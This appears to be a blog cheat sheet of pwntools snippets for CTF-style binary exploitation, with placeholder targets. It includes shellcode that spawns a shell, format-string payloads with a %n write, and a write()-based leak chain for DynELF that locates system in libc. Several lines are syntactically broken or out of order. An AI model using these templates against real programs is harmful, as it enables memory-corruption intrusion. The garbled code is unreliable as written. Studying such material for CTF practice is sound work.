#x86 ebp e
#x64 RDI,RSI,RDX,RCX,R8,R9
#coding:utf-8

context(os=‘linux’,arch=‘amd64’)
context(arch=‘amd32’)
shellcode=asm(shellcraft.sh())
context.log_level = ‘DEBUG’

from pwn import *

s = remote(‘xxx’,xxx)
s = process(’./xxx’)
gdb.attach(s)

elf = ELF(’./xxxx’)
plt = elf.plt[‘xxx’]
got = elf.got[‘xxx’]
symbols = elf.symbols[’’]

addr = int(s.recvuntil(’\n’), 16)

#format
payload = “aaaa_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x”
payload ="%85c%7$n"

s.recv()
s.recvuntil(‘xxx’)
s.send()
s.sendline()
s.interactive()
s.close()

raw_input(’#’)

#DynELF
d = DynELF(leak, elf = elf)
def leak(addr):
payload = ‘’
payload += ‘A’*padding #padding
payload += p32 (write_addr) #调用 write
payload += p32 (start_addr) #write 返回到 start
payload += p32 (1) #write 第一个参数 fd
payload += p32 (addr) #write 第二个参数 buf
payload += p32 (8) #write 第三个参数 size
s.sendline(payload)
content = s.recv()[:8]
print("%#x -> %s" %(addr, (content or ‘’).encode(‘hex’)))
return content

def leak(addr):
payload2leak_addr = “” + pack(addr) + “
s.send(payload2leak_addr)
data = s.recv()
return data

d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject) system_addr = d.lookup(“system”, libc)

system_addr = d.lookup(‘system’, ‘libc’)

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

PLUMEFOX WeChat Pay

WeChat Pay

PLUMEFOX Alipay

Alipay

PLUMEFOX PayPal

PayPal